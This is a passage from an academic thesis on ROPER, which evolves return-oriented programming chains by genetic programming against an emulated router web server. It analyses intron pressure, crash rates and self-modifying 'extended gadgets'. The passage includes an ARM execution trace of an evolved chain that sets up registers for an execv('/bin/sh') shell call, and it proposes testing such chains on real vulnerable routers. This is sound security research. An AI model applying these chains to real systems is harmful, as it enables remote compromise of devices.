pressure encourage intron formation, of which the crash rate may be a symptom, if

the method for forming introns, favoured by this population, involved individuals
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Figure 5.16: Resurgence of the crash rate during a fitness plateau, in an early run
of the Iris classification task, before implementing fitness sharing. The X-axis in the
left-hand pane tracks the average generation of individuals, while the X-axis on the
right tracks iterations of the main loop. The relation between the two measures is
linear, and so these panes can be more or less superimposed.

altering their own call stacks so as to escape dependency on certain segments of their

genomes – a strategy that might be viable for one or two generations, but may result

in more fragile chains in in subsequent ones. I explore this possibility in more depth

in section 5.4.2.

Curiously, the peak in crash rate coincides with a dip in the average length of

the population, which appears contrary to the supposition that the population was

undergoing a strong pressure for intron formation at this point – code bloat is almost

certainly the simplest means of forming introns. This may be an artefact of the

fragility mechanic detailed in §4.3.2.1, however: a sufficiently fragile gene has a strong

likelihood of simply being dropped during crossover, and passed to neither offspring,

and when a crash occurs, the fragility of the last gadget to have been executed is

automatically maximised. We could, therefore, be seeing a consequence of the rising

crash rate in the corresponding drop in genome length – this does, at least, appear

to me to be a likely hypothesis.

Another, non-exclusive possibility is that the fitness plateau we can see, stretching

across the second half of the history documented in figure 5.16 is a symptom of

(premature) genetic convergence. Perhaps it converged on a fitness peak that was
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robust enough to survive a certain number of reproductive cycles – long enough for it

to establish dominance in the population, and drive out competing phylogenic strains,

but which was surrounded on all sides by steep ravines. By the time we start to reach

mean generation 220 or so, descendents of that strain may be starting to reach the

edges of that fitness plateau, and their descendents begin dropping off the edge, en

masse. This seems incongruous with the mean fitness line continuing to progress, but

this is just the mean, and may be the effect of that strain completing its ill-fated

domination of the gene pool.14

5.3.3.3.2 With fitness sharing What would consistently seem to occur in the

classification runs performed using a static fitness function, keyed to detection rate,

was that the strains in the population would emerge that could reliably distinguish

the linearly separable species of iris from the others, but whose competence would

end there. This is, of course, not a trivial accomplishment in itself for a randomly

generated ROP chain, and so this strain would rapidly outperform its competitors in

almost every tournament in which it was represented, soon dominating the gene pool,

and bringing about a genetic convergence of the population, whose performance would

then plateau. If there had been any resources in the population that could have made

some headway on distinguishing the two less tractable, and more entangled, species,

had they had time to be tuned by genetic operators, those resources would likely

have been expunged by the gene pool in their carriers’ fierce competition with the

“bottom feeders” whose high absolute fitness scores represented only a facility for

solving relatively easy problems.

For this reason, I introduced into ROPER the fitness sharing mechanism that I

have outlined in §4.4.4. The result (after some persistence and plenty fine-tuning) was

a superb run – achieving 96.6% detection rate (0.034 absolute fitness) on the Iris set

in 27,724 tournaments, 216 seasons of difficulty rotation, and an average phylogenic

generation of 91.3. Figure 5.18 shows the course the evolution took, with the right-

hand panel showing the responding environmental pressures – the difficulty scores

associated with each class, showing both mean and standard deviation.

14The raw data from this run has unfortunately been lost, and so we’re restricted to speculating
on the basis of its surviving artefacts.
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Figure 5.17: A trial similar to the one documented in figure 5.18, with per-class
difficulty recorded, but with the fitness sharing mechanism suspended (Cazmud pop-
ulation). The filled curve surrounding each mean difficulty class, here being of visible
breadth only in the case of the iris virginia, represents the standard deviation of
difficulty for each exemplar class.
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Figure 5.18: A very good run on the Iris classification task, employing the fitness
sharing algorithm documented in §4.4.4 (Ragweb population). The filled curve sur-
rounding each mean difficulty line again represents the standard deviation of difficulty
for that exemplar class.
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This run can be informatively compared with the one illustrated in figure 5.17.

Note the tight interbraiding of problem difficulties in figure 5.18, as compared to

their gaping – but still, slowly, fluctuating – disparity in figure 5.17. The ballooning

standard deviation of difficulty by class in figure 5.18 also suggests a dramatic increase

in behavioural diversity in the population, which is precisely what we aim for with

the fitness sharing algorithm.

5.3.4 Preliminary results of the Snake experiments

In the final problem class put to ROPER, I wrote a simple Snake game [40] for

its populations to play, to see how they may respond to a dynamically changing

environment, with moderate to high degrees of randomness. The specifications of the

game are described above, in §5.1.4. To control the degree of randomness, I set up

the game control protocol so that the ROPER engine could pass a random seed to the

game in order to initialize the placement of “apples” and “cacti” on the game board.

Surprisingly, the system appeared to perform better when the seeds were randomly

generated and highly unique, rather than drawn from small set of seeds that would

remain fixed for the duration of the evolutionary run.

Results on this experiment remain largely preliminary and anecdotal in nature,

but evidence of its basic feasibility can be found in the time-lapse recording of the

final champion of the Misjax population playing a semi-competent game of Snake in

figure 5.19.

5.4 Intron Pressure, Self-Modifying Payloads, and Extended Gadgetry

In all of the experimental trials performed, a certain number of peculiar, interrelated

phenomena appeared in the dynamic behaviour of the population as a whole.

5.4.1 Crash Rate Oscillations

The first has to do with the observed crash rates. In the beginning – as is to be

expected, since our initial gadget harvest is deliberately roughly hewn and approx-

imate, with no attempt to formally verify the individual reliability or usefulness of

each gadget or combination thereof – the vast majority of our specimens (80 to 90
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Figure 5.19: Time-lapse rendering of one of the fitter specimens encountered in the
Snake trials (Misjax population). Snake segments: [], apples: (), cacti: ##.102



percent) would crash before completing execution. This would most often be the

result of a segmentation fault, or memory access violation error, when the specimens

would attempt to dereference and invalid pointer, or jump to an address outside of

an executably-mapped segment of memory. Since such violations carry with them a

fairly steep penalty to individual fitness, and increase the likelihood that the genes

responsible for exposing the individual to such hazards are dropped from the gene

pool, the rate of crashes would always drop fairly quickly within the first few thou-

sand tournament iterations. There is nothing unusual or unexpected about this –

reducing the likelihood of crashing is the simplest way for any of our individuals to

ensure their survival and prospects of reproduction, and appears to be much easier

for our populations to accomplish than the specific task-oriented components of the

fitness function. And whereas the prospect of crashing “in the wild”, before having a

chance to reproduce, is completely and utterly fatal to evolving malware strains (see

the discussion of this problem in §3.1), our “in vitro” populations have the advantage

of a gently gradated crash penalty: the fitness penalty incurred by a crash is inversely

proportionate to the number of gadgets viably executed before the crash.

What is surprising, however, is that the crash rate does not continue to decline

or stabilize at the extremely low level that it tends to reach after its initial dropoff.

The curve it traces relative to the number of iterations doesn’t even approximate

a monotonic reduction. Instead, it eventually – but consistently – begins to rise

soon after the average fitness of the population reaches a plateau, and then starts to

oscillate, until the plateau is broken and the fitness equilibrium is punctured.

5.4.2 The stray rate and extended phenotypes

Once a secure conduit had been implemented for passing detailed execution informa-

tion from the emulator back to the evolutionary engine (see §5.3.3.2.2, another rich

vein of information had opened up, which helped to provide evidence for a tendency

that, until then, I had only been able to observe by manually dissecting the disas-

sembly dumps of individual specimens post-mortem15: I had noticed a tendency for

ROPER populations’ best performers to frequently be those that take strange and

enigmatic risks with their own control flow – manipulating the program counter and

15As discussed in my 2017 report on this project [36], and my talk at AtlSecCon 2017 [37].
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stack pointer directly, pushing values to their own call stack, branching wildly into

unexplored regions of memory space, and so on. These are behaviours that seem,

prima facie, destined for failure in most cases. Their apparent frequency was an

enigma.

Consider, for example, the specimen displayed in table 5.4.2 which achieved a

perfect fitness in trial of the CPU context matching experiment, where the task was

to prepare the register vector for an

execv("/bin/sh", ["/bin/sh"], 0)

system call – the sort of task that manually crafted ROP chains are often designed for,

so that the attacker can spawn a shell with the privileges of the exploited process.16

It’s an extaordinarily labyrinthine chain, by human standards, and there’s little

in its genotype to hint at the path it charts through phenospace. Only 3 of its 32

gadgets execute as expected – but the third starts writing to its own gadget stack

by jumping backwards with a bl instruction, which loads the link register, and then

pushing lr onto the stack, which it will later pop into the program counter (in

the context of ROP chains, push instructions tend to work as a form of primitive

polymorphism, since what counts as “code” for the ROVM isn’t “whatever PC is

pointing at” but “whatever SP is pointing at”). From that point forward, we are off-

script. The next four ’gadgets’ appear to have been discovered spontaneously, found

in the environment, and not inherited as such from the gene pool.17

By tracking every address visited by every chain in its movement through the

host process, I was able to confirm my suspicion that this bizarre behaviour is not at

all uncommon in ROPER’s populations – nor is it only to be found in pathological,

crash-prone specimens.

16See the semantic correction noted in §5.3.2, which spoils the real-world usability of this particular
chain, but which does not logically impact the analysis and conjectures formed here, in relation to
it.

17I’ve given the name ’extended gadgets’ to these units of code, meant to suggest analogies with
Dawkin’s notion of the extended phenotype [41], for somewhat speculative reasons that will be
explained in a moment.
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;; Gadget 0
000100fc mov r0,r6
00010100 ldrb r4,[r6],#1
00010104 cmp r4,#0
00010108 bne #0xffffffb8 ;; = -0x48
0001010c rsb r5,r5,r0
00010110 cmp r5,#0x40
00010114 movgt r0,#0
00010118 movle r0,#1
0001011c pop {r4,r5,r6,pc}

;; Gadget 1
00012780 bne #0x18
00012798 mvn r7,#0
0001279c mov r0,r7
000127a0 pop {r3,r4,r5,r6,r7,pc}

;; Gadget 2
00016884 beq #0x1c
00016888 ldr r0,[r4,#0x1c]
0001688c bl #0xfffffff0 ;; = -0x10
0001687c push r4,lr
00016880 subs r4,r0,#0
00016884 beq #0x1c
000168a0 mov r0,r1
000168a4 pop {r4,pc}

;; Extended Gadget 0
00016890 str r0,[r4,#0x1c]
00016894 mov r0,r4
00016898 pop {r4,lr}
0001689c b #0xfffffdd8 ;; = -0x228
00016674 push r4,lr
00016678 mov r4,r0
0001667c ldr r0,[r0,#0x18]
00016680 ldr r3,[r4,#0x1c]
00016684 cmp r0,#0
00016688 ldrne r1,[r0,#0x20]
0001668c moveq r1,r0
00016690 cmp r3,#0
00016694 ldrne r2,[r3,#0x20]
00016698 moveq r2,r3
0001669c rsb r2,r2,r1
000166a0 cmn r2,#1
000166a4 bge #0x48

000166ec cmp r2,#1
000166f0 ble #0x44
00016734 mov r2,#0
00016738 cmp r0,r2
0001673c str r2,[r4,#0x20]
00016740 beq #0x10
00016750 cmp r3,#0
00016754 beq #0x14
00016758 ldr r3,[r3,#0x20]
0001675c ldr r2,[r4,#0x20]
00016760 cmp r3,r2
00016764 strgt r3,[r4,#0x20]
00016768 ldr r3,[r4,#0x20]
0001676c mov r0,r4
00016770 add r3,r3,#1
00016774 str r3,[r4,#0x20]
00016778 pop {r4,pc}

;; Extended Gadget 1
00012780 bne #0x18
00012784 add r5,r5,r7
00012788 rsb r4,r7,r4
0001278c cmp r4,#0
00012790 bgt #0xffffffc8 ;; = -0x38
00012794 b #8
0001279c mov r0,r7
000127a0 pop {r3,r4,r5,r6,r7,pc}

;; Extended Gadget 2
000155ec b #0x1c
00015608 add sp,sp,#0x58
0001560c pop {r4,r5,r6,pc}

;; Extended Gadget 3
00016918 mov r1,r5
0001691c mov r2,r6
00016920 bl #0xffffff88 ;; = -0x78
000168a8 push {r4,r5,r6,r7,r8,lr}
000168ac subs r4,r0,#0
000168b0 mov r5,r1
000168b4 mov r6,r2
000168b8 beq #0x7c
000168bc mov r0,r1
000168c0 mov r1,r4
000168c4 blx r2

Table 5.2: Execution trace of a chain that generates the register pattern required
for a call to execv("/bin/sh", ["/bin/sh"], NULL) in tomato-RT-N18U-httpd,
by modifying its own call stack and executing numerous "stray" or "extended" gad-
gets, in the Poclux population. Modifications to the gadget stack are in red, jumps
are in violet, and completion of target CPU pattern is in blue. Free branches are
separated by blank lines. The final instruction jumps to the designated stop address,
0x00000000.
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Figure 5.20: A run on the Iris classification task, with a high stray rate, by the
Hepfap population.

5.4.3 A conjectural explanation of stray-rate fluctuations as a result of

intron pressure

What pressures could possibly be driving the evolution of such strange specimens?

The canonical set of gadgets that the population inherits as its primordial gene pool

is noisy and brittle enough, but at least those gadgets are selected for stability – first,

prior to each run, by our gadget harvesting routines, which look for code fragments

that are at least likely to preserve control flow, and then, throughout the run, by

fitness pressures that penalize the loss of execution control (chains which crash be-

fore completion, or which do not reach the designated termination address within a

fixed number of steps), and genetic operators that will tendentially drop unreliable

gadgets from the gene pool. And yet we find a tendency for the population to occa-

sionally favour gadgets that overwrite the individual’s own code stack, and branch to

uncharted regions of executable memory that have no direct representation in the set

of gadgets making up the gene pool.

This type of behaviour appears to proliferate at a certain phase of the evolutionary

trajectory, which is no doubt significant: it has a tendency to be favoured by periods
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Figure 5.21: Heatmap montage over the Fimjek population, showing range of ad-
dresses executed, in red tint, superimposed on a map of the explicit gadgets that were
harvested to form that population’s initial gene pool, in blue tint. The intensity of
red tint indicates the frequency with which the corresponding address was visited.
Magenta and purple cells indicate orthodox gadget traffic, while red swaths with no
tint of blue indicate stray activity. From top-left to bottom-right, each cell is a snap-
shot of the evolving heatmap at intervals of 20 seasons. The underlying gadget map
is taken from the tomato-RT-N18U-httpd binary that we used in this experiment.
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during which the average fitness of the population more or less plateaus, and its

standard deviation narrows.

As Bahnzaf and others have shown [42] [24], these are typically the conditions

under which we should expect to see signs of an accelerating accumulation of introns,

or non-coding genes, in the population. The reason for this, Bahnzaf conjectures, is

that as dramatic improvements in the performance of the specimens, with respect to

their explicit fitness function, become increasingly difficult to attain, and as specimens

more and more find themselves competing against relative equals, the immediate

selective pressures imposed by the fitness function become less decisive in steering the

course of the evolution. The greatest differential threat to our specimens – or, rather,

to their genetic lineages – during such plateaus, is no longer the performance of their

immediate rivals, but the destructive potential of the genetic operators themselves.

There is very little, after all, to prevent crossover or even mutation from mangling the

genome beyond repair, and yielding dysfunctional offspring. Unlike animals, plants, or

any advanced life forms familiar to us from nature, our creatures lack any sophisticated

mechanism for ensuring the homological transfer of genes in sexual reproduction.

There is very little to predispose crossover operations to preserve adaptive groupings

of genes, or to replace the genes of one parent with semantically similar genes from

the other. The only structural constraint that we have explicitly afforded to those

operations is a fairly lighthanded “fragility” mechanism, that, over time, decreases the

chance that crossover will break apart adjacent pairs of genes that have historically

(in terms of the individual’s own genealogy) performed well together. But this is a

very mild constraint.

The gene lines best protected against such threats are those that are structured

in such a way that crossover is least likely to do damage, or to break apart genes that

are best kept together. A relatively simple way to achieve such protection is to pad

the genome with semantically meaningless, or “non-coding”, sequences. So long as the

probability that any gene sequence will be affected by the action of a genetic operator

is inversely proportionate to the length of the genome, increasing the genome’s length

by adding otherwise ineffectual sequences makes it less likely for those operators to

mangle it in a semantically meaningful – and a fortiori, semantically maladaptive –

way.
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Introns are therefore a valuable resource for the gene pool, and are favoured by

selection as soon as the threat posed by the genetic operators outweighs the threat

posed by immediate rivals. A particularly common form that introns may take, and

which we see in a variety of genetic programming systems, is a NOP instruction,

an instruction that does nothing, or some sequence of instructions that semantically

cancel one another out. In order to exploit that resource, however, we need both a

base language in which NOPs or NOP sequences are relatively common, and latitude

in the maximum length of the individuals, so that introns can be freely padded onto

the genome.

In the context of ROP chains, a NOP is just a gadget that returns without per-

forming any other operations. If we were dealing with gadgets defined over the Intel

instruction set, we could find these just by taking the address of RET instructions.

When it comes to ARM, however, such gadgets are significantly rarer. We rarely

find a pop instruction that only pops into the program counter, without tainting

the other registers as well. For reasons of efficiency, most compilers favour multi-

pop instructions. Longer gadgets are even less likely to execute without inducing

side-effects. As we have already noted, we simply do not have the luxury of a sleek,

minimal, more or less orthogonal instruction set, where each instruction performs a

single, well-defined, semantically atomic operation. Our instruction set will almost

always be a noisy assemblage of irregular odds and ends, in which the sort of introns

we typically encounter in genetic programming systems is rather uncommon.

Gadgets that overwrite or leap out of their own ROP stack, on the other hand,

are relatively easy to come by. Though they pose a tremendous risk to the gene line,

when it comes to first-order fitness, they offer access to an otherwise scarce resource:

they protect against damaging crossover operations, by rendering the entire, unused

sequence of gadgets that will be either overwritten or avoided, an unbroken sequence

of introns. Crossover and mutation can do whatever they will to the lower regions of

these aberrant genome without inflicting any damage on adaptive clusters of genes.

It is uncertain that ROPER would be able to discover these labyrinthine passage-

ways through its host if the selection pressure against errors were more severe. The

breaking of a fitness plateau, in most of the populations observed, was forecasted

by a momentary peak in the crash rate. This often appears hand-in-hand with a
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periodic increase in genome length, which chimes with some of Banzhaf’s findings

regarding the relation between intron bloat and punctuated equilibrium in evolution-

ary processes [24]. During such periods, length begins to increase as protective code

bloat and a preponderance of introns is selected for over dramatic improvements in

fitness, since it decreases the odds that valuable gene linkages will be destroyed by

crossover.18

We see this clearly enough in our champion ROP-chain displayed in Table 5.4.2,

where 29 of its 32 gadgets do not contribute in any way to the chain’s fitness – though

they do increase the odds that its fitness-critical gene linkages will be passed on to

its offspring.

Branching to gadgets unlisted in the chain’s own genome can be seen as a danger-

ous and error-prone tactic to dramatically increase the proportion of introns in the

genome. Selection for such tactics would certainly explain the tendency for the crash

rate of the population to rise – and to rise, typically, a few generations before the

population produces a new champion.

5.4.4 Testing the Extended Gadgetry Conjecture with Explicitly

Defined Introns

The explanation given above for the strange behaviour observed seems to me to be

compelling enough on strictly theoretical grounds, but it still remains to be seen if it

can withstand experimental testing. If, as I have conjectured, this behaviour appears

because it represents a rich, even if risky, source of introns, which our system has,

in various ways, made a rare resource, then we should expect to see it decrease in

frequency as a consequence of introducing a much safer supply of explicit introns into

the gene pool.19 All we need to do is to define a type of clump that doesn’t code for

18The analysis of code bloat and introns that we are drawing on here is largely indebted to the
theory of introns from Chapter 7, and §7.7 in particular [43]

19The idea for the technique used here comes largely from Nordin, Francone, and Banzhaf’s 1995
paper, “Explicitly Defined Introns and Destructive Crosover in Genetic Programming” [42], but
differs somewhat in implementation. Nordin et al. incorporate into their intron units a mechanism
similar to the “fragility” device I used in ROPER: each has a weight associated with it that influences
the likelihood of crossover occurring at that particular link. The explicitly defined intronss (EDIs)
used in ROPER also have this feature, but only in virtue of the fact that each EDI is also a normal
clump. The “fragility” of a clump, in ROPER, is adjusted over the course of the run, in proportion
to the running average its vehicles’ fitness, down genealogical lines, returning to the default fragility
value when the link it precedes is severed by the crossover operator, just like any other clump.
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any gadgets or immediates in the actual payload, but which can still be manipulated

by the genetic operators. The simplest way to do this is just to attach an enabled

flag with each clump, which can be set to either true or false. When false, the

clump is ignored by the serialization procedure that prepares the payload, so that

it’s never sent to the emulation engine. We will also add a new mutation operator,

which is able to toggle the enabled flag during reproduction. This lets the intron

serve the additional, potentially useful purpose of acting as a repository for genetic

information. If the selective pressure responsible for “extended” or “stray” gadgets

is indeed derivative of the well-known pressure to generate introns, then these EDIs

should be able to undercut their market share.

Patience, and an adaptively disadvantaged experimental setup, was eventually

rewarded with a compelling corroboration of the intron conjecture regarding the pro-

liferation of stray gadgets.

Eight populations of ROP chains over the tomato-RT-N18U-httpd binary were

initialized with identical parameters, with the sole exception of the EDI rate: four

(xufmoc, simtyn, surjes, and mycwil) began with an EDI rate of zero, with no further

possibility of acquiring EDIs through mutation. The other four (megkek, huzqyp,

rofted, and qatjaq) were initialized with an approximate 10% EDI ratio, and a 5%

per-clump EDI mutation rate – meaning that in the event of a mutation, which occurs

in 50% of reproduction events, the other 50% being the result of single-point crossover,

each individual clump has a 5% chance of being toggled. In the event of crossover,

the enabled flag is simply inherited, along with its clump, unaltered. This is a fairly

aggressive mutation rate, giving us a probability of∑
n−1

1
20
∗ (1− 1

20
)n

2

that at least one clump in a chain of length n will be toggled on or off, in each

reproduction event.

The task component of the fitness function for these trials was to match a precisely

specified CPU context, similar to the register-matching task discussed in §§5.1.2 and

The fragility of an EDI in [42], by contrast, is randomly perturbed on each inheritance event. In
[42], EDIs are formally distinct entities as compared to “exons”, wheras in ROPER EDIs are just
explicitly disabled codons (clumps where clump.enabled == false), a property that is allowed to
mutate through the course of the run. The dynamics observed in ROPER as a consequence of
introducing EDIs, however, are quite similar to those reported in [42].
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5.3.2, but with one key difference, incorporating a recent update to the engine: the

population would be responsible for matching not just a series of immediate register

values, but correctly dereferencing pointers as well (but only up to one degree of

indirection). The exact pattern in question, in ROPER’s (updated) syntax, is:

0002cb3e,&0002cb3e,000000000,_,_,_,_,0000000b

Corresponding to the preparation of the CPU for the system call, execv("/bin/sh",

["/bin/sh"], NULL), with /bin/sh at address 0x2cb3e. We will be disregarding

the fitness results for these experiments, however. The populations were deprived

of mutation operators, with the exception of an EDI toggling mutation in the cases

of xufmoc, simtyn, surjes, and /mycwil. Their task evaluation function was also

hobbled, so that it would feed them very little information regarding the proximity of

the registers to a correct match – nothing but the bitwise hamming distance, for both

immediate and indirect register values. They were designed to either fail indefinitely,

or evolve for an extremely long period of time before converging, the better to study

their long-term dynamics.

The results, presented in figures 5.22 and 5.23, were found to corroborate the

intron hypothesis, though not as dramatically as anticipated. One of the four EDI

populations still showed a visible history of stray address visitation, but only one,

as compared to the four EDI free populations, all of which showed signs of stray-

ing. Though fine-grained genealogical data is not available for these populations,

the relative continuity of the stray line in the Rofted population, appearing in figure

5.22, suggest that this may be the result of a single bloodline, in contrast to the EDI

free surjes and Simtyn populations, where the incidence of strays appears in fits and

starts, suggesting multiple genealogical origins. It would be interesting to repeat this

experiment with larger populations, and the collection of genealogical data, as time

(and memory space for exponentially accumulating data) allow.

The trajectory of the genome length curve in each population group is consistent

with what we know about introns and genetic bloat (cf. [24]), and it is to be expected

that the populations lacking EDIs would supplement their absence with an accumu-

lation of “spare” genes. But what’s surprising is that those same populations appear

to be executing the majority of their tremendously large genomes – and doing so with

relatively infrequent crashes. The non-EDI populations have an anomalous member
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in this respect, too: the Xufmoc population exhibits a sharp downwards trajectory

in its genome length, following its 2000th season.

A surprising result is the the non-EDI populations appear to have a higher ratio

of executed gadgets – even though this ratio is calculated only with respect to enabled

gadgets, excluding EDIs. The difference on this measure is rather subtle, however,

and may be the effect of noise, or overrepresented and idiosyncratic bloodlines.

Figure 5.22: Plot of EDI frequency to stray rate, crash rate, and the ratio of gadgets
run in the hyzqyp, megkek, qatjaq and Rofted populations, with non-EDI mutation
disabled.
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Figure 5.23: Plot of stray rate, crash rate, and the ratio of gadgets run in the mycwil,
simtyn, surjes and Xufmoc populations, with mutation and EDI toggling disabled,
with a base EDI rate of zero.
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6
Conclusions and Future Work

6.1 The devil in the details

ROPER has been explicitly designed as a “proof of concept”, and not as a refinement

on existing prior art. The experiments documented here, that is to say, represent the

first glimpse we have had of the possibility of ROP chain evolution. The application

of an existing body of knowledge and techniques – here, genetic programming – to an

otherwise familiar application domain, admittedly, seems to be something somewhat

narrower than a conceptual innovation.

But, on the one hand, the devil’s in the details, and this is why I chose to spend

the majority of Chapter 5 labouring over peculiarities in individual cases and id-

iosyncracies in population trends, rather than focus on accumulating quantitative

performance metrics. What we find there, I think, are challenges specific to the do-

main of evolving populations of programs on such “weird machines” as the ROVM. It

is one thing to design a system that is optimised and streamlined, from the ground

up, for use in machine learning or evolutionary computation, but it is something quite
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different to look for ways to foster evolution in uneven assemblages of found mate-

rials. These are assemblages that supervene on designed and documented machines,

but which, considered at the level of abstraction on which they operate, no one has

designed, or documented, strictly speaking. No one builds a ROVM; they emerge

accidentally through leaks in the procedural machine model around which most soft-

ware is designed and with an eye to which it is implemented. They are systems that

are discovered, more than invented, even as they lie at the heart of artificial and

meticulously crafted systems. They form a sort of junkyard wilderness at the heart

of computational civilization. Their exploration and study is the art of hackers, but

this project began with the intuition that something more might be learned of this

strange terrain if we approach it from the side of the wilderness, instead of from the

side of the explorer, and see how far we can get in coaxing unexpected structures and

behaviours from it by applying just a bit of selective pressure, and letting the system

tell us about itself through the constraints it imposes on the resulting evolutionary

process.

And ROP is far from unique or special in this regard. The entire cybernetic

universe of processes and protocols is replete with accidental and supervenient “weird

machines”, unintentionally Turing-complete byproducts of their intentionally designed

substrates. From programmable ELF headers to javascript engine heap allocators, the

technological environment bristles with computational potential that no one intended

to extend to its various, vulnerable interfaces. I believe that the type of research

conducted here, on the evolution of ROP chains, can be fruitfully extended to these

other strange domains, and many more.1 Very little is necessary, after all, to create

an evolutionary system, and with a bit of care and craftsmanship, I believe that we

can learn a great deal about what strange forms of computation can be bred in the

crevices of our familiar, algorithmic abstractions.

Exploring some of this terrain using the techniques employed above, and extending

them, is the first article of on my agenda of “future work”, after this project. Even

within the framework of ROPER, however, there are a number of interesting open

problems and refinements to be explored, and I will use the remainder of this chapter

to document a few of the most pressing.
1For an ongoing compendium of “weird machines” and their exploitation by the hackers who love

them, I direct the reader to the pages of PoC||GTFO [44].
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6.2 Futher experiments and modifications suggested by above results

The reader will have noticed that Chapter 5 raised at least as many questions as it

answered, and that only a fraction of them were dealt with directly in that chapter.

6.2.1 Adding a TTL field to clumps to contain malignancy and promote

novelty

This was touched on in §5.3.3.2.3, in response to an interesting case of a malignant

gene being aggressively promoted by selection, in virtue of the beneficial trait with

which its malignancy was indissociably bound. It’s the sort of problem to which

evolution systems whose components are semantically complex and multivalent are

prone. Attempting to regulate it by tinkering with the weight of a single, scalar fitness

value involved tradeoffs whose merit was difficult to anticipate in advance2, and so

another approach, orthogonal to the fitness mechanism, might be worth exploring. It’s

implementation seems fairly straightforward, and it will be one of the first experiments

I perform with the system when time allows.

6.2.2 Collecting comprehensive genealogical data on the population

during runtime

Frequently, in my analysis of various peculiar behaviours in ROPER’s populations,

in Chapter 5, my enquiry was cut short by a simple lack of data. It would be

interesting to know, for example, just how often a fit chain descends from a crashing

ancestor – information that could be used in calibrating an optimal crashing penalty

or TTL, for instance, and which would be very interesting in its own right. There’s

nothing difficult in principle in collecting such data, but doing so efficiently will be

an interesting optimization challenge.

6.2.3 Refactoring and optimization

I have a tendency to take new and ambitious projects as an opportunity to learn a new

language, and in the case of ROPER, this was Rust. Unfortunately, this means that
2It’s possible that using a vectorial fitness value, and applying an algorithm like Pareto optimiza-

tion, may be another way of sidestepping this problem, but that too remains to be explored in the
context of ROPER.
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the entire codebase is rife with rookie cruft, and drowning in technical debt. The

system needs a complete rewrite, and one made with polymorphism, extensibility,

and optimization in mind. This will let future experiments be performed faster, and

future modifications easier to make, as new ideas present themselves. The current

state of the system has left the code difficult to reason about, and cumbersome to

modify. It is very much a first draft, and a beginner’s project. It was a joy to write,

but I think it has long since outgrown its current form, and very much deserves an

overhaul – one that includes unit tests and documentation, to boot.

6.2.4 The Snake game, and other interactive problem spaces

The experiment touched on in 5.3.4 remained largely tangential, and it cries out for

completion and more careful study. This, too, is on the agenda.

6.2.5 Testing ROPER’s payloads on fully realized systems

In the experiments discussed above, we never went beyond studying the behaviour

of ROPER’s populations in vitro, trapped in their reasonably complete, but still

somewhat simplified and abstract emulated environment. It would be interesting to

see whether ROPER can evolve specimens that can be used in a “real world” scenario

– testing them, at the very least, against a full-fledged QEMU instance of a router,

for example, with an actual RCE vulnerability as their point of entry. This would

mean much slower evolutionary cycles, of course, but perhaps a pipeline could be set

up between the Unicorn “nursery” where the chains evolve until they reach a certain

threshold of fitness, and a more fully realized VM where their in vivo viability is put

to the test.

6.3 Broader strokes

On the back burner, at present, sits a side project where I had begun to rewrite

ROPER from scratch, before realizing that this was perhaps a bit too ambitious,

given the time constraints of the thesis. This overhaul was initiated with an eye to

what I took to be a handful of serious limitations in ROPER’s design (some of which

are, at the same time, items of interest peculiar to ROPER):
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1. the programming interface that it exposes to the evolutionary algorithm is brit-

tle and uneven, and in no way optimized for evolvability;

2. the evolutionary process has little means of gaining traction on the genotypes’

program semantics – in themselves, the genotypes are little more than vectors of

integers, and there is no way of acquiring any information of how those vectors

will behave, except for executing them – and this is something at which each

individual only ever gets a single attempt;

3. the reproduction algorithms are fixed, and, as we have seen, most frequently de-

structive. There is nothing inherent in crossover, or in our mutation operations,

that makes them well suited to the problem of recombining ROP chains, or

exploring the uneven, and largely uncharted, semantic space that the execution

of those chains represents. We may not know a better algorithm, but perhaps

we could at least let ROPER explore other possibilities, itself, and expose the

reproduction algorithms themselves to evolutionary pressure.

6.3.1 “ROPUSH” or “ROPER II”

A design idea for the second iteration of ROPER was spurred by an interesting

suggestion made by Lee Spector, in a discussion of some of my preliminary results

and challenges at GECCO 2017 (where I presented [36]). Spector suggested that the

opacity and brittleness that I was grappling with in “ROPER I” might become more

tractable if, instead of having the individuals of my population be more or less direct

representations of ROP-chain payloads, I instead evolved populations of ROP-chain

builders – programs that would compose ROP-chains from the available materials,

but which may, themselves, have a very different structure.

The ontogenetic map from genotype to phenotype would then consist of two

phases, rather than just one:

1. a mapping from the builder’s code to a constructed payload, implemented by

executing the builder,

2. the mapping we’re already familiar with, from ROPER, which maps the con-

structed payload (ROP chain) to the behaviour of the attack in the emulated

host.names
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The language in which the builders are defined could then be tailored to fit the

situation as well as possible – pursuing a strategy similar to the one that SPTH used

in the design of Evolis and Evoris.

I decided to experiment with style of language that Spector had, himself, intro-

duced into genetic programming, and write a dialect of PUSH for this purpose – a

statically typed, FORTH-like language that is designed with an eye towards evolu-

tionary methods rather than use by human programmers. Unhandled exceptions,

for instance, are effectively absent from the language, optimizing it for mutational

robustness rather than debugging and predictability.

At present, an initial implementation of a PUSH-style virtual machine, designed

for building ROP chains, that would then run on the Unicorn emulator – for which I

wrote a basic library of Common Lisp bindings – sits, like I said, on the back burner

of the current ROPER git repository. It would be interesting to see this through to

completion, when time allows.

6.3.2 A return to Q, through the Binary Analysis Platform

I’ve also become increasingly interested, lately, with the domain of semantic binary

analysis, and have been giving some though to switching from Unicorn to BAP as my

ROP chain evaluation framework. Here, I would be following in the footsteps of Q

[8], one of the projects that had first inspired me to work in this problem space. I’m

interested in seeing where a marriage between Q ’s semantic-analysis driven compiler

of programs for the ROVM, and ROPER’s evolutionary approach could take things.

Having a richer source of precise, semantic information to nudge the evolutionary pro-

cess through local hill-climbing searches, and a meaningful type system for gadgets

that could be used in fostering homologous crossovers and saner mutations, could

be an extraordinarily rich vein to mine. If ROPER II ever sees the light of day, it

will probably try to move in this direction as well, using BAP to extract type infor-

mation and mediate evolutionary synthesis with intelligent semantic analysis, with

a highly flexible and evolvable, type-aware ROPUSH abstraction layer coordinating

those activities.

Until then, I will tend to my ROPs.
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A
Experimental Postscript

A.1 Adjusting the classification task function for better environmental

compatibility

A.1.1 Disadvantages of the bid-based algorithm in ROPER

As we can see in figure 5.7, the distribution of register use in a fairly typical ARM

ELF program is hardly even. This places a tremendous skew on the relative likelihood

of register use by an arbitrary individual in ROPER’s populations. And since the

entire set of registers is initialized to the same, constant set of values for each one,

the ability of an individual to use the distribution of weights in each register as

a discriminant for a task is hamstrung from the outset. We are already cutting the

execution environment against the grain when we try to configure our fitness functions

in this way.
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A.1.2 Using R0 to decide

The ARM ABI [45] already gives us some useful hints here, which we can try to adhere

to, to make our fitness functions more harmonious with their environment. Like the

x86, the ARM ABI designates a particular register for the purposes of carrying a

return value:

The manner in which a result is returned from a function is determined

by the type of that result [. . . ] A Fundamental Data Type that is smaller

